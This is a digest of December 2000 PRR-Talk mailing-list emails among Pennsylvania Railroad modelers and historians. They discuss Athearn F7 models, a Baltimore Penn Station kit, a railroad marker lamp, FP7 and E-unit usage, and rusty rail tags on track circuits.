	tying the pans together.  GG1 did not have and

	_external_ bus.



per the schematics therein:

	The GG1 had an _internal_ HV bus tying the pans

	together....



	best

	dwp



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From: TGREGMRTN@aol.com

Date: Thu, 7 Dec 2000 02:35:45 EST

Subject: Re: [PRR-Modeling] Re: [PRR] 1 More F3 Question.



Gary,



Check the unit numbers and I think you will find that if you have the same 

photo as I do those units are F-7's delivered in April 1949.  They were 

amongst the very first F-7's turned out by EMD and were assigned class 

EF-15A.  If you look closely at the roof line you will see the Dynamic brake 

fan.  There was also a group of EF-15A's delivered in this same configuration 

and they would be the last F-units to be delivered with the "streamlined" 

number boards, they were delivered in June of 1949 on order #E-1144 and were 

assigned unit numbers 9667A to 96676A and were assigned builders #8227 to 

#8236 (these numbers are all inclusive).  Note that the 2" PRR Buff Stripes 

meet the pilot buff flush and not tapered?  If you would like help with 

another unit number that better matches you F 3 then let me know and I will 

find you one, but most helper units were F5's...  (Oh my heavens not that 

thread again.)



Greg Martin 



Greg Martin 



=============================================================

Gary you wrote:

    You are quite correct. I forgot about a post card album I have. In

there was a Vanishing Vistas post card of a trio of EH-15's sitting at

La Grange in 1948. These are the Helper Units I want to model! It has

that extra stripe on the door. And as you say, as delivered, these did

not have any grabs anywhere on the side or top of the nose. So be it. I

will not put any grabs either. Thanks for your input Brian....Gary



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From: TGREGMRTN@aol.com

Date: Thu, 7 Dec 2000 03:48:24 EST

Subject: [PRR] Athearn PRR EF-15A's (F-7's) Update



Hey Yuze Gize,



Monday of this week I received the latest test shots (rather well handled) of 

the PRR F-7's/EF-15A's for the color match review, certainly this unit will 

turn this hobby on its ear!  I can tell you that the years of work that Paul 

Lubliner put into these units will soon (like in the next 3 weeks, Lord 

Willing and the creek don't rise) pay dividends and I might add the color was 

dead on for the samples I provided them, whether you call it DGLE or 

Brunswick Green it is a match.  The amount of detail that will be offered is 

absolutely unbelievable and will rival, no I should say better, any brass or 

plastic released to date.  The sample I was offered was assembled and ready 

for decals but alas I had to ship it back on Tuesday so no decals. 



I know you have heard a lot about these units and I have tried to keep you 

all abreast of the impending release, they are coming and remember the first 

units released will be the PRR F-7.  Make no mistake these units are more 

detailed than you an imagine.  And if the samples I review at lunchtime 

today, Thursday, have the correct lettering layout I provided and correct 

color of buff for the lettering and stripes I will jump for joy.  I can't 

tell you how incredible these units are.  



Greg Martin 



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Date: Thu, 07 Dec 2000 06:23:42 -0500

Subject: Re: [PRR] Athearn PRR EF-15A's (F-7's) Update

From: Jerry Britton <jerry@pennsyrr.com>



On 12/7/00 3:48 AM, TGREGMRTN@aol.com at (TGREGMRTN@aol.com) wrote:



> Monday of this week I received the latest test shots (rather well handled) of

> the PRR F-7's/EF-15A's



Athearn has also announced to dealers that they will be offering the

mechanism separately. They ask that those who need a mechanism for "another

vendor's shell" please hold off on that purchase!



The announcement will be forthcoming.

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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Date: Thu, 07 Dec 2000 08:01:56 -0500

Subject: Re: [PRR] Baltimore station model ?

From: Jerry Britton <jerry@pennsyrr.com>



On 12/7/00 6:27 AM, Hank Mummert wrote:



> I saw a ad today in the January issue of Model Railroader

> for a company called Custom Model Railroads.

> The ad showed what looked a lot like Baltimore's

> Penn station,although you could tell it had been

> shortened in lenth. They don't say its Penn station,

> but there's no mistaking it.

> 

> For any of us who are modeling Baltimore this is a

> must have model. I also went to the web site

> listed and found other Baltimore inspired

> buildings that they have,but my main focus

> is Penn station. If i had to scratch build

> it it would take as much money and a lot

> more time to do so.

> 

> Here is the web address if anyone

> needs it.

> 

> www.custommodelrailroads.com

> 

It's not big enough to be the Baltimore station at actual scale (I have the

plans), but it is obviously a scaled-down version of it that would pass well

for it (and work well for many other locales as well).

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: "Graeme Nitz" <prr@unite.com.au>

Subject: [PRR] Congressional Cars for sale

Date: Thu, 7 Dec 2000 22:05:57 +1100



Listers,



Due to my upcoming move to the USA (Tulsa, OK) to get married I need

money!!!



So I have decided to rationalise my PRR fleet by selling some Items that I

will probably never use as they are outside the era and/or location I am

modelling.



I will offer these items to members of these lists before turning them over

to E-Bay.



First off the mark will be an 11 car Congressional set made up of:-



These cars by Oriental Ltd.



1 x Conference Car

1 x Coffee Shop

1 x Dining Car

1 x Kitchen Bar Lounge

1 x Observation

1 x Parlour Car



These cars by S Soho & Co



1 x Parlour Car

4 x Coach Car



All cars are essentially mint, unlettered and in original boxes. They have

been fitted with Kadees and MDC trucks, the original brass trucks will also

be supplied.



If anyone is interested please contact me directly not via this list.



Highest bid may not be accepted.



Insured Airmail will be paid by me.



Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.





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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Athearn PRR EF-15A's (F-7's) Update

Date: Thu, 7 Dec 2000 06:16:56 -0700



(From an e-mail announcement to their customers dated 12-5-2000)



Good day.





Genesis "F" Unit Mechanisms

We have watched, with interest, comments on the Internet regarding the

availability of separate Genesis "F" Unit mechanisms. Much of the recent

discussion has related to a communication we sent to a modeler that was

incorrect. Here's the "real scoop"! Athearn plans to market Genesis "F" Unit

mechanisms separately. We will have pricing available late this week. Before

you rush out and order any other "F" Unit mechanism, wait and check out the

Genesis version. We think you'll be VERY pleased.





Web Site

We are updating our web site daily. Check out 'Athearn Today' at

www.athearn.com





That's it for today. Have a good one!

--

Sincerely,



Athearn, Inc.

http://www.athearn.com



-Bill Daniels





----- Original Message -----

From: Jerry Britton <jerry@pennsyrr.com>

To: <TGREGMRTN@aol.com>; <PRR-Talk@dsop.com>

Sent: Thursday, December 07, 2000 4:23 AM

Subject: Re: [PRR] Athearn PRR EF-15A's (F-7's) Update





> On 12/7/00 3:48 AM, TGREGMRTN@aol.com at (TGREGMRTN@aol.com) wrote:

>

> > Monday of this week I received the latest test shots (rather well

handled) of

> > the PRR F-7's/EF-15A's

>

> Athearn has also announced to dealers that they will be offering the

> mechanism separately. They ask that those who need a mechanism for

"another

> vendor's shell" please hold off on that purchase!

>

> The announcement will be forthcoming.

> ---------------------------------------------------------------------

> Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS

>

> "Merchandise Service", a division of Desktop Solutions of

> Pennsylvania, Inc., is a reseller of model railroad and railroadiana

> products. "MS" is also host to the web site "Keystone Crossings",

> the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

> Talk", and "Reading-Talk". When you purchase through "MS", you are

> providing financial support to these Internet endeavors. Please visit

> our eCommerce web site at http://merchandise.pennsyrr.com.

> ------------------------------Thank you!-----------------------------

>

>

> -----------------------------------------------------------------------

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Date: Thu, 7 Dec 2000 08:08:44 -0500

Subject: [PRR] PRR Porch Light

From: Michael Allen <ptrmgtsvc@juno.com>





I thought this would look really good as a porch light.



MEA



 >Title of item: Pennsylvania Railroad Lantern HUGE & WEIRD

 >Seller:        leslie

 >Starts:        Dec-01-00 18:36:50 PST

 >Ends:  Dec-08-00 18:36:50 PST

 >Price: Currently $52.00

 >To bid on the item, go

 to:     http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=516156254

 >

 >

 >Item Description:

 >

 > I know nothing about this. It is not a normal lantern- very large and

 heavy with colored glass curved sides. It is over a foot tall and very

 heavy. I have no idea what it should have. What is does have is 4 curved

 glass domes on the sides- all 4 are red. No top and no inside burner

which

 I assume it should have. It is VERY heavy, rust and dirt. You are buying

 as-is! Molded on the handle part is PRR X6900. Overall it seems quite

 sturdy- no cracks in the glass. Rust of the metal but no major problems

 that I can see. Please ask any questions before you bid!! Shipping is

$20

 due to weight and size. No international bidders, Puerto Rico, HI and AK

 are fine. Thanks for looking! leslie



Visit eBay, the world's largest Personal Trading Community at

http://www.ebay.com

 



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From: bobsin@nac.net

Date: Thu, 7 Dec 2000 08:39:26 -0500

Subject: Re: [PRR] Re: Starboard is Port



To further connect this vital topic to the PRR, recall that:



Port is an interlocking station on the Long Island Rail Road 

(Freeport on the Montauk Branch). 



In PRR days, before the grade was elevated in the late Fifties, it 

governed access to a long layup track located curiously between 

the main tracks, and used for storage of MU trains turning at 

Freeport.  I think it was an Armstrong plant, at least I recall lots of 

pipes along the ground.  There was also an interesting electrical 

"jumper," a piece of third rail not associated with any track and 

totally enclosed in wood protection -- must've carried power around 

the switches, or maybe through a cutoff switch to the siding or 

something.



After the grade separation project, the layup tracks became a 

small yard on the north side of the main tracks, but Port continued 

in service.  Not sure whether they still use it.



Any other PRR-system names that suggest nautical themes?



John Bobsin



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From: PKMac1@aol.com

Date: Thu, 7 Dec 2000 09:10:19 EST

Subject: Re: [PRR] PRR Porch Light



Looks like a real older style passenger marker. Any other ideas?



Pat Mckinney



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Date: Thu, 07 Dec 2000 09:14:35 -0500

Subject: [PRR] N Scale FA1/FB1 Sets

From: Jerry Britton <jerry@pennsyrr.com>



Life Like has announced N scale Alco FA1/FB1 sets, due in April. There are

two PRR sets. While I did not get an absolute confirmation, I did get the

equivalent of a "wink of an eye" when I asked LL if the C-Liners and

Erie-builts would eventually be scaled down to N scale!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

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    http://merchandise.pennsyrr.com

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From: mittner@webtv.net (Gary Mittner)

Date: Thu, 7 Dec 2000 09:21:47 -0500 (EST)

Subject: Re: [PRR-Modeling] Re: [PRR] 1 More F3 Question.



Greg,



     The Post Card I have is of 9690 and indeed it is an early F7. Man,

these diesels are confusing. The Post Card describes these as F3's at La

Grange. Post Card is wrong. I can barely see the Dynamic fan but it is

there. Also the number falls into the F7 Class. 

   Now if the EH-15's were actually F5's so be it. I am not that much of

a purist. Look on page 318 of Pennsy Power 2. The middle photo is what I

am after. Plus the addition of the Train Phone Antenna and nose lift

rings. 

    Greg, Please answer this one more question. The USA Trains F Unit I

have has what looks like screen where the Grill would be on later units.

This screen does not represent what is found on F3 Phase 2's. It is only

in the top portion, not the middle where the port (or starboard) <G>

windows are. If you look at the photo on page 318, this apears to have

the same set up as my G Scale F's. I was told this is an F3 phase 2. Is

a better term an F5? 

    Please don't go into the F5 thread again. I was totally confused

back then.<G>...Gary









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From: mittner@webtv.net (Gary Mittner)

Date: Thu, 7 Dec 2000 09:25:45 -0500 (EST)

Subject: Re: [PRR] PRR Porch Light



Could also be a real early loco class light too. The ones that were

attached to the sides of the smoke box fronts prior to the turn of the

century. But alll the glass is red. Probably passenger. It is definitly

PRR though.









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From: "Graeme Nitz" <prr@unite.com.au>

Date: Thu, 7 Dec 2000 22:05:57 +1100

Subject: [PRR-FAX] Congressional Cars for sale



Listers,



Due to my upcoming move to the USA (Tulsa, OK) to get married I need

money!!!



So I have decided to rationalise my PRR fleet by selling some Items that I

will probably never use as they are outside the era and/or location I am

modelling.



I will offer these items to members of these lists before turning them over

to E-Bay.



First off the mark will be an 11 car Congressional set made up of:-



These cars by Oriental Ltd.



1 x Conference Car

1 x Coffee Shop

1 x Dining Car

1 x Kitchen Bar Lounge

1 x Observation

1 x Parlour Car



These cars by S Soho & Co



1 x Parlour Car

4 x Coach Car



All cars are essentially mint, unlettered and in original boxes. They have

been fitted with Kadees and MDC trucks, the original brass trucks will also

be supplied.



If anyone is interested please contact me directly not via this list.



Highest bid may not be accepted.



Insured Airmail will be paid by me.



Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.







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From: DWa9975062@aol.com

Date: Thu, 7 Dec 2000 17:16:51 EST

Subject: [PRR] Wilmington Station



Listers - We are pleased to announce the last of the Wilmington Stations, 

building #1, will be shipped the first of next week by priority mail. 

Hopefully everyone will have theirs before the holidays. 2000 has been a 

really tough year and we thank you all for your patience. We will start on 

the second building at the end of January. We already have 12 of the molds 

built and only need the roof and the clock tower to complete it. Sooo... To 

all of you from the Gang at Trainstuff LLC best wishes for a Happy Holiday 

Season and a prosperous New Year.

Dayna



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Date: Thu, 7 Dec 2000 18:28:43 -0500 (EST)

From: bubbles@visi.net

Subject: Re: [PRR] Baltimore station model ?





 Hello....



  I wrote the guy who produces the models and he

  wrote me back saying,"Yes its based on Baltimore's

  Penn station". Also he told me more or less that he reduced it

  in size (ala selective compression) and left

  some detail off so it would be

  more of a Generic model and sell better.

  (see part of his e-mail below)

  He mentioned that he's also coming out with the 

  annex section of the station.(Penn station's

  lobby to me) in the near future.



  From Custom Model Railroads:

  "Our station is indeed based upon Penn Station in Baltimore, however   it

is in no way meant to be an exact replica of that building. It is a

 pretty good rendition of the back side of the station, however it is a

 few window bays shorter. We will be adding a kit for the annex which

 goes out over the tracks some time in the future."



  I need to check the room i have for it

  to see if i'll have to use the kit as is

  or if i can add to the lenth for a 

  correct lenth model. There are three window

  bays on each front section of the model for

  a total of nine. Penn station has five

  for a total of fifteen. The ends are

  correct with three on the model and three

  on the prototype.



  This station will also do for the (1907)

  D,L&W station at Scranton,Pa. which i

  believe is now a hotel and for which

  Penn station was based when it was designed.

  (see Frank Wrable's "Baltimore bottleneck" article

  in the 1995 Keystone for more info).



                       Til Later

                       Hank Mummert





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Date: Thu, 07 Dec 2000 19:46:52 -0500

From: ours <yunz@bellatlantic.net>

Subject: Re: [PRR] PRR Porch Light







You're both right! At one time these were the markers used on cabin

cars, passenger trains, and you guessed it class lights on steam

locomotives. From the picture given this is a "newer one", it has one

red and three amber lenses. I have a really old one with green instead

of amber lenses. It also has PRR stamped in the tin and a flame emblem

made out of lead above the door where the pot goes in. Also surprising

is that the lenses are 5" exactly. If anyone knows were I could find a

burner and pot for one of these, please let me know! I have another one

I'm trying to restore.



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From: JONS6755@aol.com

Date: Thu, 7 Dec 2000 22:14:46 EST

Subject: Re: [PRR] Baltimore station model 





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Howdy,

After looking at the picture of the model. . . it appears to also have the 

"flavor"

and syle of Penn Station in Newark, NJ.  Thats how I'm going to put mine to 

use ! !

Jon S.

PRRT&HS #3079

FRRM of PA



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Howdy,

<BR>After looking at the picture of the model. . . it appears to also have the <BR>"flavor"

<BR>and syle of Penn Station in Newark, NJ. &nbsp;Thats how I'm going to put mine to <BR>use ! !

<BR>Jon S.

<BR>PRRT&amp;HS #3079

<BR>FRRM of PA</FONT></HTML>



--part1_e1.d4234d3.2761ac26_boundary--



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From: "Steve Hoxie" <steveh@dotstar.net>

Subject: [PRR] Re: [NEModelers] Athearn PRR EF-15A's (F-7's) Update

Date: Thu, 7 Dec 2000 22:22:23 -0600



Greg--You have certainly succeeded at getting me enthusiastic about seeing

the new Athearn F7's.  Can't hardly wait.



I presume the modeler will be required to install the trainphone antenna

(hope Lee English has got the CalScale production up and running).  That

means the modeler will also have to paint those antennae and supports.  Also

it might be nice to paint/repaint some  Highliners B units which have been

around awhile to go with the F7A.  My point:  is there any way to get

someone from Athearn to sit down with someone from the producers of

Modelflex (or Scalecoat or Polyscale) so we can get this new, wonderful DGLE

into small bottles?



Just a thought.



Steve Hoxie

Pensacola FL









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From: "Gene Deimling" <endeimling@mindspring.com>

Subject: [PRR] H6sb

Date: Thu, 7 Dec 2000 22:11:24 -0800



I am looking for the number of a H6sb that survived into the 1950's.   I am

aware of 2486 at Strasburg.  Where did it run?

I just bought a O scale H6sb and wanted to paint and letter the model.

Thanks for the help,

Gene Deimling





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From: TGREGMRTN@aol.com

Date: Fri, 8 Dec 2000 02:19:32 EST

Subject: [PRR] Re: [NEModelers] Athearn PRR EF-15A's (F-7's) Update



Steve and all,



steveh@dotstar.net writes:



<< Greg--You have certainly succeeded at getting me enthusiastic about seeing

 the new Athearn F-7's.  Can't hardly wait.>>



Someone ask about the Highliner shells, about three weeks tops ... as for the 

Athearn, maybe that soon too...

 

<>



Correct, you will have to add the antenna mast and I agree someone let Lee 

English that the local shops need to order them up.  



<< Also it might be nice to paint/repaint some Highliners B units which have 

been around awhile to go with the E-7A.  My point: is there any way to get 

someone from Athearn to sit down with someone from the producers of ModelFlex 

(or Scalecoat or Polyscale) so we can get this new, wonderful DGLE into small 

bottles?>>



And the suggestion is well taken, but I can tell you that the colors look 

great I have two painted and lettered shells right here next to me and we are 

going over the final scrutiny, and they will start the final steps Monday 

(which is Sunday to us).  I think that if you paint them with ModelFlex 

Brunswick you will be very close, perhaps a little light.  Steve, if you 

would be willing to use Testors paint I can give you a formula to match. 

 

<<Just a thought.

 

Steve Hoxie

Pensacola FL>>





And a good point...

Greg Martin 



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Date: Fri, 8 Dec 2000 01:20:36 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] H6sb



Gene, list,



H6sb 2846 and 3110 were the last two H6sb engines on

PRR's roster.  They were on the Susquehanna Division

at the time of their retirement, which occurred

sometime after 1 April 1955 and before 1 March 1956. 

These two engines were apparently used for melting

snow; the 2846 has a bit of extra piping from the

steam dome forward that you don't see on other H6sb

engines (I have yet to see a shot of the 3110).  



Over a year ago, I did a quick search on Edson's PRR

All-time Steam roster for H6sb engines that lasted

into the 50s; if you search the PRR-talk archives, it

should come up; there's not a lot listed under H6sb

(and a fair fraction of what is there has my name

attached to it; the 2846 is a favorite of mine). 

There were a few Lines West engines that lasted into

the 50s as well, if that's your preference.



My H6sb (albeit HO scale) is in storage, awaiting my

return from Korea; I had just added the power reverse

to my Lambert model when it came time to pack things

away.



Doug





--- Gene Deimling <endeimling@mindspring.com> wrote:

> I am looking for the number of a H6sb that survived

> into the 1950's.   I am

> aware of 2486 at Strasburg.  Where did it run?

> I just bought a O scale H6sb and wanted to paint and

> letter the model.

> Thanks for the help,

> Gene Deimling

> 

> 

>

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Date: Fri, 08 Dec 2000 09:39:51 -0500

From: Dave Pfeiffer <dpfeiffr@popmail.voicenet.com>

Subject: Re: [PRR] Athearn PRR EF-15A's (F-7's) Update



Greg,



	Are the "A" units free of mold separation lines under the paint on the

nose?   I have been disappointed by P2K in the past on pre-ordered

decorated units, and don't want to be with the Genesis.



	Thanks.



Dave Pfeiffer





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Date: Fri, 08 Dec 2000 08:52:55 -0500

From: "James L. McDaniel" <jlmcdaniel@esva.net>

Subject: Re: [PRR] Baltimore station model ?



As a former citizen of Charm City (79-81), it's clearly Penn Station

less the bums, trash, and true atmosphere of Balamer, Merlin.  What I

would buy is the Bromo Seltzer Tower, which I went by everyday on my to

work at the University of Maryland Hospital.



Jim McDaniel, lost down in Delmarva, formerly of Belt Street, South

Balamer





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Date: Fri, 08 Dec 2000 08:07:02 -0500

From: Dave Pfeiffer <dpfeiffr@mail13.voicenet.com>

Subject: [PRR] X29 Express help



	I'm in the process of assembling 2 Sunshine models X29 Express cars which

I purchased some time ago.   At the time, for variety and not knowing

details of the X29, I purchased 1 car with the 3 panel Creco door and 1

with the Youngstown door.   The Sunshine kits have the second or "out"

rivet pattern.   I am at the point of placing the door stops of which there

were at least 3 different arrangements.   I'm trying to locate a photo of

an X29 in Express service during the '50's with Creco door and the "out"

rivet pattern so I can validate a correct car number and door stop

arrangement.   I have just about exhausted all of my PRR material and have

found only 3 examples of an Express X29 with Creco door that the number and

door stops can be seen.   All 3 examples are the same photo of car 2185

which has the early "in" rivet pattern.   Can anyone help here?   I need a

valid car number and door stop arrangement for an Express X29 with Creco

door and the "out" rivet pattern.



	Thanks very much!



Dave Pfeiffer





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Date: Fri, 08 Dec 2000 11:01:59 -0500

Subject: [PRR] TANGENT Lists/Servers Back Online

From: Jerry Britton <jerry@pennsyrr.com>



Due to a failure at our ISP (epix.net), our servers were offline from early

this morning until about 10:30 a.m. ET.



We're back!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

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Subject: [PRR] NEB&W rolling stock books question

Date: Fri, 08 Dec 2000 10:43:14 -0600 (CST)

From: george.pierson@trnty.edu



Hello, all,



This is slightly off topic - but have any of you seen the various NEB&W books on 

rolling stock by John Nehrich?  I've visited the RPI-NEB&W website where the 

books are described but what I want to know is do they include photos of the 

various cars?  I'm especially interested in finding more photos of rolling stock 

from c.1922 that might have run on the PRR Middle Division.  The basic car data 

I can get from Westerfield's CD-ROM's of the ORER but I'm not sure I want to 

spend the bucks for the NEB&W books if they do not include photos. TIA.



George Pierson



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From: George.Pierson@trnty.edu

Date: Fri, 08 Dec 2000 10:43:14 -0600 (CST)

Subject: [PRR-FAX] NEB&W rolling stock books question



Hello, all,



This is slightly off topic - but have any of you seen the various NEB&W books on 

rolling stock by John Nehrich?  I've visited the RPI-NEB&W website where the 

books are described but what I want to know is do they include photos of the 

various cars?  I'm especially interested in finding more photos of rolling stock 

from c.1922 that might have run on the PRR Middle Division.  The basic car data 

I can get from Westerfield's CD-ROM's of the ORER but I'm not sure I want to 

spend the bucks for the NEB&W books if they do not include photos. TIA.



George Pierson





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Date: Fri, 08 Dec 2000 12:59:09 -0600

From: Greg Johnson <gjohnson@unitedvalve.com>

Subject: [PRR] E's in freight service



As the PRR narrowed its passenger service down (1966-1968), were any of the

E-8's or E-7's used in freight service. Perhaps on perishable, livestock or

TOFC trains? I have three undec E-7's & E-8's that I would like to repaint

and use, however my layout locale has no PRR passenger service. My other

option would be a nondescript mail train.



Regards,



Greg Johnson





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From: NDBPRR@aol.com

Date: Fri, 8 Dec 2000 14:59:25 EST

Subject: Re: [PRR] E's in freight service





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Pennsy Power 2 has a picture of E8's in Tructrain service.  As I recall the 

lead unit is in the 5 stripe or the single stripe Tuscan paint scheme.



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Pennsy Power 2 has a picture of E8's in Tructrain service. &nbsp;As I recall the <BR>lead unit is in the 5 stripe or the single stripe Tuscan paint scheme.</FONT></HTML>



--part1_c0.ccf7e7b.2762979d_boundary--



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From: "Matthew J. Brown" <morven@byz.org>

Subject: Re: [PRR] E's in freight service

Date: Fri, 8 Dec 2000 12:24:55 -0800



NDBPRR@aol.com writes:

> Pennsy Power 2 has a picture of E8's in Tructrain service.  As I recall

the

> lead unit is in the 5 stripe or the single stripe Tuscan paint scheme.



It's on p 329/9; all 4 units are in single stripe.



-Matt







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From: "andrew harmantas" <frisco482@hotmail.com>

Subject: Re: [PRR] E's in freight service

Date: Fri, 08 Dec 2000 15:26:13 -0500



>>were any of the>E-8's or E-7's used in freight service. Perhaps on 

>>perishable, livestock or>TOFC trains?

_____________________________________________________________________

Yes, they were.  Even the PA's were used in freight service.  I was 

trackside in Duncannon when several livestock trains went by pulled by mixed 

E7's and E8's.  While the picture is memorable, so is the smell.



Andrew Harmantas, Artist, lecturer, world traveler, and bum.

_____________________________________________________________________________________

Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com





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From: DPoole17@aol.com

Date: Fri, 8 Dec 2000 15:47:20 EST

Subject: [PRR] Building 1.6" PRR FP-7a



I have pictures of these units pulling freight trains.  The first two sets 

were painted Tuscan with the five stripes.  Does anyone know if these units 

were ever used in Passenger Service??



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Date: Fri, 08 Dec 2000 15:54:38 -0500

Subject: Re: [PRR] Building 1.6" PRR FP-7a

From: Jerry Britton <jerry@pennsyrr.com>



On 12/8/00 3:47 PM, DPoole17@aol.com (DPoole17@aol.com) wrote:



> I have pictures of these units pulling freight trains.  The first two sets

> were painted Tuscan with the five stripes.  Does anyone know if these units

> were ever used in Passenger Service??

> 

YES! But I don't remember where the photo was!!! I'll look this evening. Off

hand, I seem to recall the locale being on the line between Harrisburg and

Williamsport, perhaps Sunbury.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

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    http://merchandise.pennsyrr.com

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From: Bobspf@aol.com

Date: Fri, 8 Dec 2000 16:39:51 EST

Subject: Re: [PRR] Building 1.6" PRR FP-7a



In a message dated 12/8/00 3:02:53 PM Central Standard Time, 

jerry@pennsyrr.com writes:



<<  Off

 hand, I seem to recall the locale being on the line between Harrisburg and

 Williamsport, perhaps Sunbury. >>



Page 29 of Pennsy Diesel Years 5 shows Train #570, the Baltimore Day Express 

with one DGLE single-stripe FP7A leading a Tuscan 5-stripe FP7A on the 

headend.



There is also a photo of a DGLE FP7A with single-stripe leading an E7B and 

E8A departing Harrisburg westbound with a mail and express on page 99 of 

Pennsy Diesels 6 and another DGLE FP7A leading a mail and express eastbound 

into Altoona  in February 1961 on page 71 of Pennsy Diesels 5. 



Bob Zoeller



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From: PKMac1@aol.com

Date: Fri, 8 Dec 2000 16:44:15 EST

Subject: Re: [PRR] Building 1.6" PRR FP-7a



Yes there is a picture of them in psgr service but don't know exactly where 

but it was an AUDIO VISUAL PRR calender shot somewhere on the Buffalo Line. 

Nice shot of one at Enola in Don Balls 1940-1950's book pg 103. Trailed by 

what looks like two F7B's in DGLE sgl stripe



PM



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From: JOELPRR@aol.com

Date: Fri, 8 Dec 2000 18:06:04 EST

Subject: [PRR] Rusty Rail Tags



I was reading the very interesting article in the Winter 2000 Keystone by 

George Pitz and I have a question regarding the photo caption on page 20.  Mr 

Pitz talks about Rusty Rail Tags that have been applied to switch levers.  

What is significant about rusty rail?  (I grew up by the Schuylkill branch 

and remember seeing lots of it.... seems to be a railroad thing.)  Seriously, 

I don't understand the significance of the  need for the tag.



Thanks,

Joel



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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: Re: [PRR] Rusty Rail Tags

Date: Fri, 8 Dec 2000 23:28:13 -0000



| What is significant about rusty rail?



 There may be other issues but essentially it causes problems with train

detection track circuits as it tends to insulate the wheels from the track.



 HTH



Aidrian





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From: PKMac1@aol.com

Date: Fri, 8 Dec 2000 19:04:41 EST

Subject: Re: [PRR] Rusty Rail Tags



Joel and list. The rusty rail tag is to remind the operator that he may not 

get a indication on his board when a engine and train run on that piece of 

track. Remember that there are electrical circuts in the track and as the 

train moves over these sections the wheels close the circut like a switch. 

The circut goes from one rail to the other through the wheel and axle and 

make the circut complete. This circut also locks the switch and signal levers 

in the tower so a switch can not be thrown under a moving train and a signal 

can be changed without a proper sequence of events. This is called route 

locking on the old style US&S interlocking machines. Even today with the 

computer doing the work the same reminder lets the dispatcher know about 

rusty rail conditions and that he may not see an indication as the train 

procedes and not to throw the switch. There is a part in the Opr rules for 

the tower  operators that cover this and also in the signal dept rules.

 Thats it in a nut shell,a short version. There are more people out there 

that can give you more details and may be able to explain it better.



Pat McKinney  MW dept

PRRT&HS 1524 



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Date: Fri, 8 Dec 2000 23:15:54 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] FP-7s in passenger service



Hello list,



There are pictures of PRR FP-7s in passenger service

in Morning Sun's PRSL in Color book by John Stroup. 

The shots are from the 1960s.  The engines are in dark

green locomotive enamel, without road names, and just

have the keystone decals.  They were, by the time of

the photos in the book (the 60s) also shorn of their

rooftop antennas.  Apparently the FP7s were the last

locomotives to haul pure passenger trains on the PRSL

(circa 1969 passenger traffic diminished to the point

that the PRSL's RDC fleet could take care of all

passenger service).  



I can't tell you the page numbers because this is one

of the books I had to put in storage before I moved.



I recall reading somewhere that the PRR used their

FP7s  in passenger service primarily around the

Thanksgiving and Christmas seasons on mail trains, but

I don't have the source to back it up.



Doug





> (DPoole17@aol.com) wrote, in part:

> 

> > I Does

> anyone know if these units

> > were ever used in Passenger Service??

> > 

> 



__________________________________________________

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From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] Williamsport

Date: Sat, 9 Dec 2000 17:40:42 -0500



Hi all,



For those of you interested in Williamsport PA and the PRR in 1945, read on.

For the rest of you, you know the drill with the delete key!l  I believe

most of you did ask.



Had a good trip to Williamsport Wednesday.  Didn't have much time to see or

call anyone.  Sorry, but we'll catch you next time.  Not much left in the

city proper in terms of remaining signs of the old PRR, but spent some time

at the Williamsport Hysterical Society with encouraging results.



First, the Park Hotel (the remaining two stories of the original four) are

being renovated.  One person says all office space, the other says a

computer company on the bottom floor (basement?), apartments on upper

floors.  Either way, a good sign - one of the old 19th century landmark

railroad hotels gets a new lease on life.  Station gone - burned.



Hysterical Society is now the Thomas T. Taber Hysterical society, the Tom

Taber of Logging Railroads of PA books fame.  Nice touch!  Anyone know if

he's still living?  Lived in Muncie PA last time I talked to him.



I focused on maps this trip.  Finally got to the right perrson, but she had

to leave for an appointment in a half hour.  Nevertheless, she did show us

the Sandborn Insurance Valuation Maps, and gave me a printed list of

railroad related maps in their collection.  Williamsport also once had a

trolley, and they have some (not a lot) of information on that.



The Society is being renovated and much of it is torn up under construction.

She says it's due to be completed Feb. 2001, so check back around August or

September.  If not done by then, it'll be spring 2002, as they'll dog it in

order to have inside work during the winter.  Perceptive, this lady!



The Sandborn maps are in sorry shape.  Started to crumble, so were glued to

what looks like poster board, which itself is starting to crumble.  The

whole affair is mounted in a hard covered book affair.  Three volumes (that

